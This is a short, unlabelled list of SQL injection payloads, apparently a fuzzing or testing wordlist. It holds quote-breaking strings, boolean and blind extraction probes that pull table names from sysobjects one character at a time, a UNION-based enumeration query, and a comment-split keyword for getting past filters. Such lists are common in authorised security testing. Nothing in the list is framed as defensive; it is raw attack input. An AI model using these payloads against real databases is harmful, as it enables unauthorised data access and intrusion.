1
1 and user_name() = 'dbo'
\'; desc users; --
1\'1
1' and non_existant_table = '1
' or username is not NULL or username = '
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
1 uni/**/on select all from where